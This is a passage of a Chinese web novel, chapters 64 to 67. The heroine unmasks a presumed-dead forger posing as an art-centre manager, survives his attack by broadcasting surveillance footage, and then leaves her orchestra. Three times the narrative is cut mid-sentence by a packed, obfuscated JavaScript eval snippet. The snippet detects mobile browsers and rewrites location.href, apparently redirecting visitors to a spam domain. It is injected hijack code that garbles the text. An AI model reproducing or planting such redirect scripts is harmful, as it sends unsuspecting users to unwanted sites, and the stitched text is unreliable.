“等等,我想看看这两天的监控记录,”林菀语速快,直接吩咐道,“先看外墙摄像头的。麻烦你帮我调出来吧。”她语速快,刻意没有留给对方思考时间。 “哦。”小保安年纪太轻,不懂拒绝,老老实实地一通操作,将电视墙第一排四个屏幕指给林菀看,“外墙一共四个摄像头,大门口两个,东西侧门各一个。点这几个键,然后用鼠标就能调时间轴。”他拿出一个小作业本,“这个上面记了几种快捷键。”他说着演示一番。 最后,小保安抓了抓后脑勺乱糟糟的头发,“另外,这个笔记本电脑的键盘不能动。”他指了指放在桌子最里边的电脑,“它是控制外面大屏幕的,正在播画展宣传片呢。” “好的,谢谢。”林菀礼貌一笑。 待小保安离开,林菀坐到椅子上,开始专注地看监控视频。 小保安来到走廊上,又忍不住摸出手机,但抬头看到秦经理从二楼下来,便立即将手背到身后,“秦经理好。” “嗯。”秦文翰几步路过,突然站定,“等等,老陈不是吩咐你看着总控室吗?你出来做什么?” “林小姐在总控室看监控呢,吩咐我出来巡逻。” 秦文翰蹙眉思考,“……二楼需要人,你巡逻完就上去。这边我看着。” “好的。” 瞧着小保安的背影,秦文翰脚下方向一变,朝总控室走去。 而总控室里,林菀还在聚精会神地研究监控视频。她看到昨儿个天还没亮透,秦经理就在这边忙活了,站在一个侧门口抽烟。 “秦经理……”林菀喃喃念着,突然发现一个佝偻着背的秃头环卫工推着小车从秦经理面前经过。林菀的眼睛猛地睁大了,她下意识脱口而出,“是林乃岳!” 她话音刚落,就听到背后的门发出一声清脆的响动。林菀迅速回头,发现是秦经理站在大门口。虽然被人袭击过,但他脸上也没有什么伤痕。他还是穿着深蓝色暗纹的改良版中山装,胸前口袋里插着翠竹花纹的丝巾手帕。整个人跟平时没什么两样,但神情却显得幽深。 “秦经理?昨晚发生了那么大的事情,你没去检查身体?”林菀站起来,尽量显得客气。 秦文翰盯着她,试图看出什么,没有说话。 林菀脸上的微笑消失不见,她也打量着对方,“秦经理?” 秦文翰转身关上门,顺手锁死,转身过来微微一笑,“你这是试探我呢?很有意思?” 林菀听到门锁咔哒一声,脸色就变了。他这话什么意思?试探?而且干嘛要锁门? 林菀下意识地往后退一步,靠到桌子边缘,指尖摸到了抽屉的拉手。理智告诉她,眼下的场景太古怪了,绝对有猫腻。这一刻既不能承认什么,也不能否认什么。于是她含义不明地说道:“您自己清楚……不是吗?” 秦文翰眯了眯眼睛,眼神显得晦暗不清,“刚刚那句话,谁告诉你的?” 林菀心里再一次泛起疑惑。什么话?谁告诉什么?电光火石之间,她突然明白了,那句话指的是“秦经理……是林乃岳”! 林菀只是针对监控视频里两个不同的人,下意识说出来的话语,却被秦文翰理解为一整句话——秦经理是林乃岳! 秦经理,是林乃岳?! 一时震惊之下,林菀感觉毛骨悚然,不可置信,“你是林乃岳?”她从来都没有将这位在刘经理死后才应聘过来的艺术经理与林乃岳联系在一起过。他总是斯文有礼,兢兢业业地在基金会忙碌,而且他头发茂密,面容也跟林乃岳压根不一样! “装得这样惊讶做什么?你应该叫我父亲,怎么能直呼名字?”秦文翰反过来问她,脸上的神色温情得可怕。他从兜里掏出一双丝绒手套戴上。这是刚刚在二楼忙活时用的手套。“好女儿,既然你知道了我的身份,那就麻烦了。”他的表情甚至有一丝抱歉与怜惜。 林菀看到他戴手套,瞬间如冰水淋头,心也凉了下去。然而这一刻的心寒与恐惧让她莫名地冷静下来。她立即寻找手机,然而此时才发现手机在包里。而包放在秦文翰腿边的椅子上。如此一来,她只能用眼角余光估摸了一下自己和那个控制外墙大屏幕电脑的距离。 瞧见她看向包的眼神,秦文翰瞬间明白了。 “你没机会报警,也不用喊,一楼没人能听到你的声音。”秦文翰微笑着,显得优雅又体贴。他朝她慢慢走过来,“我下手很快……恰好利用这个机会让林菀的名字跟林乃岳一样在死后获得至高荣耀。你会感谢我的。” 林菀一步步缓慢地朝最里边那部电脑挪过去,眼睛依旧盯着秦文翰,心里却在回忆小保安说的几种转换监控视频的快捷键,“我的命,由我自己说了算。” 秦文翰有些遗憾,甚至感叹道:“太狂妄了,跟你妈如出一辙,真令人失望。” 说时迟那时快,林菀转身扑向那个控制外墙屏幕的笔记本电脑,摁下快捷键。不能报警,那就直播。 然后,她抓起旁边的电脑朝秦文翰狠狠地砸去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102881|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 同一时间,展馆外的大街上。 徐箴言一连跟好几个环卫工搭话,都没有套出准确有利的消息。几个大妈坚称干他们这行的都是上了年纪的,秃顶大爷要多少有多少。 徐箴言给她们买了解暑的饮料和饱腹的点心,随后起身离开。对于打听的结果,他有些失望。但眼下只能先去找林菀。 还没走近米卡艺术中心,徐箴言便看到大楼侧面的大屏幕下围了不少人。他犹豫几秒,也朝那边走去。 “我的天啊,这一下砸得够狠啊。妈耶,女生眉骨流血了。”一个女生看得有些害怕,用胳膊拐拐旁边的朋友,“这恐怖片吧?你搜搜是啥电影,我怎么没见过。” “我也没见过这样的,超长打斗戏,还都是墙角监控角度。演员都蛮豁得出去啊,没一个假招式。卧槽,男的竟然是戴假发!这头顶也太锃光瓦亮了吧。” “哎,这女演员我眼熟。”另一个抱着明星灯牌的女孩很是惊奇,“她是那谁,就是《日光城交响曲》的主题曲演奏家,对!小提琴家!林菀!” 一听到这话,徐箴言脸色就变了。他猛地抬头,看到大屏幕竟然被调整成监控视频。 此时此刻,林菀头发散乱,脸上血丝斑驳。她被一脚掀到了墙角,头重重地砸到墙壁上。然而她擦了把眼睛,忍着剧痛,在对方还没扑上来时拼尽全力将身侧两米多宽的不锈钢架子狠狠地推了过去。 架子倒下来的一瞬间碰到摄像头,屏幕彻底熄灭。 徐箴言脑子里嗡的一声,他压根来不及多想,身体先于思维做出行动,朝最近的侧门狂奔而去。 侧门紧锁。 徐箴言抬脚猛踹门锁,然而门锁纹丝不动。他迅速从茶树丛里找到一块石头,转身来将玻璃门四角砸出裂缝,最后在中央位置使劲一砸,整扇玻璃瞬间碎成渣,哗啦一声落下来。 他抬脚跨进门,立即听到了响彻整个走廊的尖锐报警声。 徐箴言压根没管,看了眼墙上贴着的平面图,径直左拐,边走边脱下外套,然后打开靠墙的消防柜。由于这里连日施工,所以配备了工地消防柜,里头有消防斧。他拿出消防斧,顺着路直奔总控室。 总控室的大门已经被倒下来的架子砸开。秦文翰被压在地上,吐了一口血,一颗牙也从嘴里落出来。他撑着膝盖爬起来,回头看向门内,刚刚要冲回去,就被旁来的徐箴言一脚踹开,滑出五米远。 徐箴言表情未变,眼见秦文翰又要爬起来,他抓起地上的一根不锈钢细管,瞄准他的腿掷了过去。长管如标枪一样精准落地,穿透皮肉,将秦文翰钉在了原地,他发出一声强烈的惨叫。 徐箴言置若罔闻,转身用斧子劈开挤在门口的横七竖八钢架,进入室内,将蜷缩在地上近乎昏迷的林菀抱起,检查她的情况,语气尽量放轻柔,“菀菀?醒醒。” 此刻,天花板上已经响起阵阵急促的脚步声。有人在大声尖叫:“先把画放进库房!先把画放进库房!” 半晌,林菀终于在脑子里集聚起一丝清明,她试图抓住徐箴言的衣袖,但是手里没有劲,又落了下去。她咬着牙才发出声音,“别让他跑了,你先去把他捆住。别管我,我还能坚持。” 徐箴言只能将林菀先放在原地,他怀疑她肋骨骨折了,不能轻易动弹。他将她额头沾血的发丝撩开,在额头印下一吻,“等我回来,很快。” 说完,徐箴言起身拎起消防斧跨出大门。然而,秦文翰竟然已经不在原地。周城和另一个年轻男人扶着他,已经走到消防柜处。 “周城!”徐箴言愤怒喊道。声音在走廊上久久回荡。他立即追了过去。 周城脸色有异,回头匆匆嘱咐了一句。那个年轻男人便点点头,也从消防柜里拎出一把消防斧,转身朝徐箴言冲过来。 周城则扶着脚步踉跄的秦文翰跨过满是玻璃碎屑的侧门,钻进停在路上的汽车里。 徐箴言只能集中心智对付眼前的歹徒,他迅速将歪七扭八的钢架重新拉到总控室门口挡住门,然后握紧手里的消防斧,从对方冲过来的姿势以及拿着斧子的手势便判断出来人只是街头野路练家子。 待对方举起斧子冲到跟前时,徐箴言弯腰一个侧身,钻到对方身后,然后伸手一个反剪,脚下对准他的膝盖后方使劲,就将来人扣在地上制服。 徐箴言再次回头,看到远远的侧门处已经没有汽车的影子,只有姗姗来迟的保安们。 65. 秦文翰是谁 晨光熹微,林菀是被疼醒的,浑身哪儿哪儿都疼。 她慢慢地睁开眼,望着天花板,连翻身都费劲。不用往旁边看,她就知道自己已经穿越了,身边必定空无一人。徐箴言向来喜欢搂住她睡觉,可此刻她感受不到另一个人的温度。 林菀重新闭上眼睛,试图将注意力从这种蔓延的伤感情绪与泛滥的疼痛中抽离出来,挪到昨天发生的事情上。好在今天是周六,不用上班。 昨天,徐箴言将昏迷不醒的她送到医院,诊断出右胳膊脱臼,一根肋骨骨折,多处软组织挫伤。但好在这些伤不用打石膏便能慢慢养好。所以拿药打针后,她便坚持出院。 而当她从医院出来时,马路上竟然有不少记者守候——直播杀人未遂现场未免太过劲爆,当事人还是著名小提琴家,这怎能不报道?而且还有围观的人拍下视频,已经在社交媒体上传得沸沸扬扬。 可林菀当时别无他法,这是处于生命危险中的她能向外界传递信息的唯一方式。 后来,警察过来了,陪同她和徐箴言一起回派出所。警察的出现,为她挡住了几个行事越界,无孔不入的记者。 坐在警车的后排,徐箴言让她侧靠在自己怀里,担忧她的身体而低声问她,“真要连夜做笔录?”他更希望林菀在医院观察一晚。 林菀慢声慢气地说话,以免引起肋骨疼痛,“如果今晚穿越……就麻烦了。” 而事实便是如此。幸亏她坚持从医院出来就马不停蹄去派出所做笔录,才免得在失踪时又被警察找上门。当时她讲述了整件事情的经过——她发现林乃岳大师班被盗,便担心画展上油画的安全,随后主动跑去艺术中心看监控,结果突然被秦文翰袭击。 秦文翰和周城逃跑了,他们的车被抛弃在城郊一条废弃公路边,旁边没有摄像监控,是被附近的居民发现的。 疼痛让林菀回神,慢慢地从床上坐起来。她料到了林乃岳还活着,却从未料到认识已久的秦文翰就是林乃岳。而周城,竟然是他的帮手。 可是细细思考起来,似乎又有那么多暗示的细节。 秦文翰被周城介绍过来,两人早就熟识。秦文翰一上任便要举办林乃岳个人大型画展,张罗得风风火火,甚至还执意邀请当年压林乃岳一头的老对手来观展。细想起来,第一件事能体现秦经理尽职尽责,但第二件事就十分突兀,突兀到……仿佛他是当年林乃岳肚子里的蛔虫。 而林菀一直未怀疑过他的原因是他的表现总是十分温良,还长着一张谦虚礼貌的脸。林菀怀疑他动过脸,否则不会看上去比实际年龄小了快十岁,而且长得跟年轻时候完全不一样。至于头发则无解,所以他一直戴假发。 还有周城,林菀是万万没想到。周城性格善良,怎么会跟假死的林乃岳混到一起去?难不成……在外人看来,曾经短短几年的师徒情一直延续到现在?林菀不敢相信,将作奸犯科的林乃岳带走,还试图杀死徐箴言的人,竟然会是周城。 话说回来,警察连夜审讯了周城留下的那个帮凶,可是一无所获。那是个二十出头的出狱人员,为了五万块钱当打手。他对林乃岳和周城的计划一无所知。 而更多的信息,林菀还不知道。此刻,她迫不及待地想回到梦境世界,然而还得焦躁地等待十几个小时。 很快,她就发烧了,可手头又没有药,只能拖着难受的身子去医院。 周末的综合三甲医院,哪里都是人。唯有妇产科检验处还有不少空座位。林菀便在这里坐着等待。 “Nora?你怎么在这里?”突然出现一个惊讶的女声。 林菀抬头一看,竟然是穿着乳白色孕妇裙的谭姿,她身边还有丈夫绪凡陪着。 “我……”林菀下意识看了眼地上写着“妇产科”的指示箭头,立即起身解释,“我就是在这里坐坐。我挂的是别的科室——” “一晚上没见,你怎么浑身是伤?”谭姿打断她,皱着眉头,瞧见林菀鼻梁眉骨都有伤口。 “……昨天晚上回家摔伤了,骑自行车摔的。” “摔得也太狠了。”谭姿在她身边坐下,语气带着责备的意味。她没有多追究林菀拒绝工作安排,不见林吾的那事儿。她清楚应该如何对待下属。 绪凡微笑着将装各种检查资料的袋子递过来,“我去买点水。” 看了看绪凡的背影,林菀回头问谭姿,“您今天过来做产检?” “嗯,大排畸,做了个四维彩超。” “彩超好像能看到婴儿模样吧?”林菀尽量让话题远离自己,开始围绕生孩子打转。 “没结婚的小姑娘,还知道这个?”谭姿忍不住笑起来。她想了想,从袋子里抽出一张彩超单图片,“这是医生单独拍的,孩子的脸。” 图片上,有一个模糊的婴儿侧脸,鼻梁很高,撅着嘴巴。此刻,小朋友正在吮吸自己的手指。 …… 从医院回来,林菀千等万等,终于等到了晚上。 她在腿部肌肉和手臂肌肉上贴了运动员常用的肌内效贴布,它可以增强受损肌肉的收缩能力,还能改善关节活动度。然后,她吃了两片止痛药,戴上护具,以此为穿越实验做准备。 午夜,末班地铁按时停靠在繁寓路站,车门咔擦一声打开。 站在门口的林菀见到了如约来站台等候的徐箴言和涂淼,甚至还有林珠莉。 由于涂淼离得最近,林菀下车就拽住她的手往车里拉,“过来!妈,箴言来帮忙!” 涂淼压根没意识到发生了什么事就被一股猛力拽了过去,在看不见的空气结界上挤扁了脸。她能够感受到林菀的手,但压根看不到对方。这让她心慌起来,强装镇定。 林珠莉耳疾手快,听到女儿的声音便冲过来帮忙。她伸手触摸到一面看不见的墙,眉梢一吊,随后心领神会地把涂淼往里面推。“林菀,你在里面?” “我在!”林菀咬紧牙关,额头爆出青筋。 而徐箴言则是脚步一顿,才疾步走过去。地铁停站时间短暂。徐箴言走到车前便发现警示关门的红灯亮起,而涂淼已经被推进去大半个身子。 徐箴言心里一惊,伸手拽住她的胳膊,连忙要将她拉出来。就在这时,再次失去力气的林菀也从车里跌了出来。 两人齐齐摔出来。徐箴言一手搂住林菀,另一手只来得及够到涂淼的衣袖。好在林珠莉将涂淼架住了。 而林菀则是虚弱得站都站不住。徐箴言再次打横将她抱起来,放到长椅上检查身体。林菀本就有上次穿越造成的伤口,再加上在总控室受的伤,新旧伤交叠,又开始流血。腿上还多了两道更新的狰狞伤口。 好在徐箴言早有准备,掏出随身携带的酒精和药膏,开始给她处理伤处。 “你——”林珠莉一时惊愕又心疼,舌头第一次打结,“怎么回事?”她连忙帮忙卷起女儿的袖子。 “嘶——我在那边没有去医院处理伤口。刚刚又使劲发力,没注意就弄成这样了。”林菀永远有借口,忙不迭忍着疼痛解释,“这新伤是我刚刚在车门上划伤的,一时马虎。”纵然疼痛,她还是庆幸极了,今天没有晕倒,新添的伤口也不多。 徐箴言半跪在地上用棉签给她擦拭伤口,一直没有说话。 他的沉默被林菀看在眼里,她何尝不明白他的担心,于是又说道:“搭这趟地铁穿越绝对可行。只要等我养好伤。”她强调了养好伤,这才注意到徐箴言抬头看了她一眼。 林菀合上嘴唇,望着他的眼睛,突然轻轻抿唇笑了一下,这笑容流露歉意,又饱含期待。 徐箴言静了数秒,终于配合地弯了一下唇角,起身伸手揉了揉她的脑袋。 林菀终于松了口气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102882|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“都跟你说了下次小心。”林珠莉撕开创口贴。精明如她,怎么没看出来刚刚林菀和徐箴言之间气氛有些微妙。其实她心里也有疑问,只是不好在眼下说出来。 而涂淼,由于半个身子被拉进车厢,受影响最大,她失忆得厉害,到此刻表情依旧茫然,“刚刚……到底发生什么了?”她只记得自己来了地铁站。 …… 回到家,已经快午夜一点。 徐箴言将林菀放到沙发上,“我去房间里拿上次开的药。” “好。”林菀发现林珠莉和涂淼也换鞋进客厅,没有要离开的意思。自打离开地铁站,涂淼很快恢复正常。 两人留下正符合林菀的心意,她迫不及待地想要打听消息,“对了,林乃岳和周城抓到了吗?” 涂淼看了一眼林珠莉,才说道:“……没有。”她这模样,显然是对所有事情都一清二楚。 “我以为能很快找到。”林菀突然觉得头又有点疼,便捏了捏眉心,然后接过徐箴言递过来的药丸和水杯。 他在林菀跟前坐下,态度认真,但语气放轻,“有件事情必须告诉你。警察调查出来了。” “调查出什么?” “林乃岳一直使用秦文翰的身份。”林珠莉接话,注意着女儿的神情,“秦文翰就是当初在螺蛳垃圾堆里发现的那个人。那个时候他不到二十,刚刚到莱城找工作,没钱就睡在露天公园里。因为患有肺结核,他身材瘦削,跟林乃岳身材差不多。然后有一天,他被林乃岳盯上了。” 林菀沉默半晌,问道:“秦文翰有家人吗?” “有,警方已经通知了。”徐箴言说。 林菀垂下眼眸。这一次不用大家说明,她问道:“伪画的事情也被曝光了吧?”既然林乃岳身份曝光,那么伪画曝光是迟早的事情。画家还活着,他现存的画就是造假。这种巨额艺术品诈骗案,警察会持续调查下去。 果然,涂淼默默地点头。 徐箴言立即握住林菀的手,与她掌心相贴,让自己的声音听起来尽量柔和,“林乃岳的画已经一钱不值了,画展已经被取消。很多收藏家都在对基金会提起诉讼,毕竟当时他们买画经过了刘经理的手。” 徐箴言很清楚基金会要面临巨额赔偿,“赔偿金方面,你不需担心。我和你母亲对过了,基金会账上还有一定的余额。” 其实徐箴言说过他还有积蓄,但是被林珠莉驳回。她不可能用女婿的钱,她自己还有公司……考虑到眼下的情况,她很清楚公司是必须要卖了。 林菀缓缓深吸一口气,终是控制住错乱的心跳。“我的银行卡全部都能拿出来用。”她料到会有蝴蝶效应,可没想到来得如此迅猛。 “最重要的一点,乐团也知道了。”这也是徐箴言最担心的一点。他凝视她片刻,停顿几秒,又说,“这几天麦柯也打了好几个电话。明天是合练开始的日子,团长说需要跟你提早见面,不用带琴。” 这一瞬间,林菀眼前黑了一下,太阳穴突跳,身体不由自主僵硬起来。此事一出,林乃岳成了林菀事业上不可忽视的黑点。纵然音乐家和油画家没有什么关系,但是细说起来,仍旧有牵连。 “他们都知道……我当初砸钱学琴,花过林乃岳的‘遗产’吧?”她记不起梦里的童年,可猜得到当时会发生什么事情。学琴开销非常大,林珠莉必定将能找到的所有钱财都投到她身上,还得去外地挣钱,以此不让她学艺之路断供。 “我把那些钱捐出去,可不可以?”她的声音嘶哑,有些颤抖。 徐箴言没有说话,而是将她搂入怀中,将她的头靠到自己肩膀上。他一个字都没有说,只是用自己的体温温暖着她,支撑着她。 林菀痛苦地将脸藏在他脖颈处。或许,不是乐团知道了,而是乐团在抗议。或许,也不是乐团在抗议,而是全国在抗议。 66. 美好的祝福 重返乐团,鸽子依旧在喷泉旁边的树荫下啄来啄去。只是林菀如今的心境却与第一次来时很不一样。 她仔细打量着眼前这个静谧安宁的地方,心知可能这就是最后一次过来了。纵然如此,心底那一丝若有似无的期望还是让她穿上了特意为合练准备的黑色长裙,简洁优雅,并将头发工工整整地绾在脑后,戴了两颗低调圆润的珍珠耳钉。 准备了这么久,哪怕上台合练一首曲子也好。她对合练的渴望已经超越了对自己琴技的隐忧。说难听点,怕的就是连上台丢脸的机会都没有。 “姐姐,”麦柯嗫喏着凑过来,拖拉着音调,也拖拉着脚步,“那个……现在去练习室还是去见团长?” 林菀缓缓看向麦柯。她没有说话,麦柯的表情紧张起来。 林菀笑了一下,掩去眼里的疲惫,打消他的疑虑。她轻轻道:“去团长办公室。”她还有选择吗?她没有。 这一路上竟然没有看到其他人。也不知是恰巧都在后台做准备,还是都刻意避开了她。林菀想着,这样也挺好。她做不到此刻笑容满面地一直应酬下去。可如果不笑,势必叫人可怜。她最不需要的就是被人可怜。想到这里,林菀重新挺直脊背,昂起头颅。 团长果然已经在办公室等待。她坐在有深棕色木纹的办公桌后,依旧戴着金丝边眼睛,穿着简洁的白衬衫,将袖子卷到胳膊肘。唯一的配饰是脖子上的复古皮绳项链,挂着嵌银雕花的黑檀木吊坠。 “坐。”团长示意。等麦柯关门出去,她打量着林菀眉骨上结痂的伤口,“身体还好吗?” “挺好。伤不重,慢慢恢复就行。”林菀早就做好了心理准备。即使大脑想要逃避,可她选择主动面对,“您直接说团里关于我的决定吧,没关系。”她的眼神没有露出一丝破绽。 团长慢慢开口,“林首席,我们都在音乐圈工作多年,你必定跟我一样清楚——纵然艺术把音乐格调定得再高,莱音也是服务于人民大众的表演团体,这是基本性质。所以我们不得不考虑外界意见,尤其是在即将全国巡演的情况下。你父亲——” “他不是我父亲。我跟我母亲姓。”林菀毫不犹豫地说。 团长也很快改口,“林乃岳伪画诈骗案涉及面过广,资金额过高。熟识多年,我能将你和他分开看。但大众不行,他们质疑你幼时学艺,青年获奖,乃至如今在莱音工作,是不是都跟林乃岳有关。”团长不用再明说。就林菀用诈骗来的钱学琴这一条,就足以像摁死一只蚂蚁一样将她在莱音的前途摁死。 “如果我还留在这里,会对乐团的声誉造成影响,也会让乐迷抵制接下来的全国巡演。”林菀语气平静地给当前情势下定义。心里一时情绪上涌,她感觉到胳膊上的纱布有浅浅的湿润感,看来伤口又流血了,只是她竟没有半分痛觉。怎么就麻木到不痛呢? 团长沉默许久,才再次开口,“其实我跟好几个领导反映过,也谈了许久。我留人只看才艺技能与个人品格,不看其他。所以我希望把你留下来。可能需要撤去首席职位,再在这段时间避避风头,以后还是能继续演出。但是很遗憾,我没有得到正向反馈。安总监和宋指挥也都探过口风,情况一样。” “谢谢您。”林菀微笑起来,眼里出现水意,模糊了视线。她真诚地向团长道谢。“另外两位的好意,我之后再谢。” 所以,她注定得离开莱音乐团。 …… 一个小时后,从团长办公室出来,林菀看到麦柯等在门口。 “怎么样?姐姐你能留下来吧?”他着急地问。 林菀一时突然如鲠在喉说不出话,便笑着摇摇头,眼眶微红。 麦柯顿时跟丢魂一样垮了脸。 “我跟团长说过了,”她终于散去胸口酸堵感,拍怕助理的肩膀,“给你安排个好去处。宋指挥正好缺个助理。” “啊?”麦柯先是一喜,然后脸色一白。给指挥大人当助理,是升官了,但是指挥大人很严肃,做事雷厉风行,也没有林菀这么好说话。一时他摇摆不定,在继续佛系躺平和冲一把升职加薪之间来回犹豫。 这时,走廊上响起隐隐约约的音乐声。林菀下意识朝前走去。绕过回廊,她看到一扇半掩的门。从门口望去,里面是一个音乐厅。她就站在二楼观众席的后方出入口,将整个大厅收入眼底。舞台上前同事们已经开始合奏练习。小提琴首席的位置,已经站了一个新的女孩,穿着一身黑裙子,专注地拉着琴。 林菀静静地站在那里,任音乐将自己环绕。一曲结束,她毫不犹豫地回头离开。 …… 同一时刻,乐团后门路口的树荫下。 徐箴言坐在驾驶位,一直望着大门口。而涂淼和林珠莉坐在后座。 “还没出来……如果她被团里的人欺负了,我一定会报复回去。”涂淼也盯着大门口。 “没有。她给我发消息了,很快就出来。”徐箴言说。手机震动,弹出新闻——国家空间天气检测预警中心:受太阳活动影响,近二十年最大地磁暴爆发。 这也就意味着,林菀今晚注定穿越。 徐箴言摩擦着手机边缘,直到屏幕自动黑暗。他突然开口:“今晚她要穿越了。” 涂淼皱起眉头,“最近这频率也太快。我得提醒她,下次回来千万不能再受伤。” 徐箴言轻轻弯了一下唇角,可并不是笑容的弧度,“你觉得她会听吗?”他侧头看向后座的两人,“其实,我怀疑她那些撕裂伤都是因为拉我们上地铁导致的。”只可惜他没有当时的记忆,所以没有证据。 “我也有这样的疑虑。”林珠莉思考着。 涂淼记忆受损最厉害,她是一点线索都没有,但想到林菀浑身的伤口,便也沉默半晌,“她说会等到伤口愈合再行动……说实话我不觉得她会这么安心地等下去。” “就算她恢复好,也有一个问题,光是上车就让她受重伤,那我们都进了车厢之后呢?她又会发生什么事?”徐箴言慢慢地说。 涂淼下意识看了林珠莉一眼,在彼此的眼睛里都看到了同样的意味,她们不能让林菀面对失去生命的风险。 “我知道她为何急切地想带我们走。”徐箴言看向窗外随风飘逸的柳树枝条,“这个世界是个梦。我们都是梦中人。她原本呆的才是现实世界。而在这边,每个人都按照自己最渴望的执念之梦在过活。但是梦……总有结束的一天。” 涂淼猛地抬起头,蓦然一惊。这一刻,她什么都明白了。难怪林菀总是很紧张她,因为现实世界的她已经不存在,这意味着梦境再长也会中断。只有去现实世界,她才能继续活下去。 “涂淼的境况跟我一样。”林珠莉经风历雨,心绪没有太大的变化,她问徐箴言,“你在那边情况怎么样,是否知道?” “不知道。” “以你的为人和学识,不会过得太差。”林珠莉说。如果他能想办法能记起林菀就好了,可是找什么办法? 车里顿时陷入沉默。直到涂淼出神中突然看到林菀出现,立即就要下车。“她出来了!” “别去。”徐箴言转身拉住她,“商皓宸来了。” 那个少年来了,独自从他家的车里下来,不许Sam跟着。既然如此,徐箴言也不想打扰这个男孩单独和偶像相处的机会。 此刻,乐团后门口,林菀眯起眼睛看向天空中明晃晃的太阳。 她真的做了一场漫长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102883|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而空虚的梦。她两手空空地来了,那时候想成为著名小提琴家而不得。在这里的一段时间里,她似乎做到,又似乎没做到。最后她要走了,还是两手空空,不是小提琴家。 可是说起来——她看向自己手指上的茧子——该经历的都经历了。 商皓宸瞧着林菀在望天,便放慢了脚步。林乃岳案风波大,让商氏夫妇也受到不少讨论。Sheryl Shang立即远程安排,要将商皓宸接出国。出国的时间也定了,就是明天。所以今天他想要好好地跟林菀道别。 林菀注意到眼前小心翼翼的男孩,露出微笑,以免让对方担忧,“你来了。” 商皓宸点点头,加快脚步走到她跟前。 “听说你要回魁北克的家,什么时候?” 他将手机伸过来,上面写着——“明天”。 “确实应该回去,这段时间在国内呆着会受到不好的影响。” 商皓宸听她这么一说,飞快地打字。“不管怎么样……我的意思是说,以后不管你在哪个国家演出,我都会来看的。我发誓,一定。” 林菀再次笑了,说出口的话语突然变得不那么沉重,甚至略带轻松,“从今天开始,我就不是莱音首席小提琴家了。而且……”她顿了几秒,还是说出来,“我并不是你曾经见过的那般琴艺精湛。如今的我,水平也就比你好一些。所以,”她长长地深呼吸着,竟然觉得说实话很是叫人畅快,“去别的乐团也很难应聘上。” 她揣测着,这些话意味着她走下神坛,会让商皓宸眼里的光暗淡下去吧。可她说的都是实话,也真的想说给他听。 然而,商皓宸的双眸依旧明亮,看向她的眼神也坚定地映照着灿烂的阳光。一个地位崇高的知名小提琴家能坦然地告诉他琴技退步,他知道自己受到了何种信任。 这一次,他认真地打完字,将手机递过去—— “没关系。我昨晚梦到你在四十七岁时又成为了莱音交响乐团小提琴首席。它一定会实现的。” 多美好的祝福啊。林菀再次忍不住弯了嘴角,“谢谢。”她又感叹了一下,“四十七岁啊,将近二十年之后……那时候我早就步入中年了呢,想象不到自己是什么样子。” 商皓宸专注地凝视着她,给出他的答案,“你比现在更加美丽迷人。”岁月会赋予林菀更多的风韵,沉淀更多的优雅。 林菀看着手机上这短短十个字,良久一动不动。最后,她认真地说道:“谢谢,我喜欢这个梦。” 商皓宸也笑了,笑都弯弯眼睛,用手语比划着告诉她,“我相信,我们还会再见面。” …… 林菀目送商皓宸的车远去。他坐在车里还探出头来望着她,直到再也看不见。风,早就吹乱了少年的黑发。 林菀又在原地站了一会儿,才转身走向徐箴言的车。每走一步,她就感觉自己的步伐轻松一些。到最后,她简直要飞起来,于是小跑了几步。 靠近车头时,她听到他说——“我有个新提议。” 而林珠莉和涂淼则毫不犹豫地点头,异口同声道:“同意。” “我处理好了,从此就是自由人。”林菀坐进副驾驶,语气竟然十分欢快,“什么新提议啊?箴言连内容都没说,你们就同意。” 她的欢快让大家都有些愣住。但涂淼很快反应过来,故意瞪了她一眼,“用脚指头都想得出来啊。穿越这回事儿,不能光你努力,我们也得想办法减轻你的压力,互相配合,这样才能成功。” “是啊。找工具辅助我们进地铁车厢,也就是合适的施力装置。”林珠莉拍拍驾驶位,“箴言,我们都分头问问。” “没问题。”徐箴言发动车子。 67. 如果你已经结婚 下午,米卡艺术中心。 从莱音出来后,一行四人再次来到展馆,配合警方调查。 纵然展馆门口已经拉了黄色警戒线,但周围依旧有不少围观的人群。这里不像乐团,很多人都不知道乐团有专供工作人员出入的后门。在看到林菀下车的一刹那,很多人都举起手机。 而徐箴言撑起黑伞,为林菀挡住了周遭不友好的视线。这两天,林菀几乎不怎么看手机,因为外面铺天盖地都是各种越传越离谱的消息,有的已经上升至对她的人身攻击。 毛拉提前来了,略有不安地等在大厅门口,看到他们就迎过来,“到底要我过来展示什么?” “展示怎么制作伪画。”徐箴言收起伞。 毛拉若有所思地点头,抬眼冷不防撞上林珠莉的打量。认出对方,彼此都打了个招呼。 随后,一行人跟着警察走向楼梯,路过了讲述林乃岳生平故事的展示墙,路过了早就息屏的环保隔断墙,路过了摆得满满当当但空无一人的文创商品区。 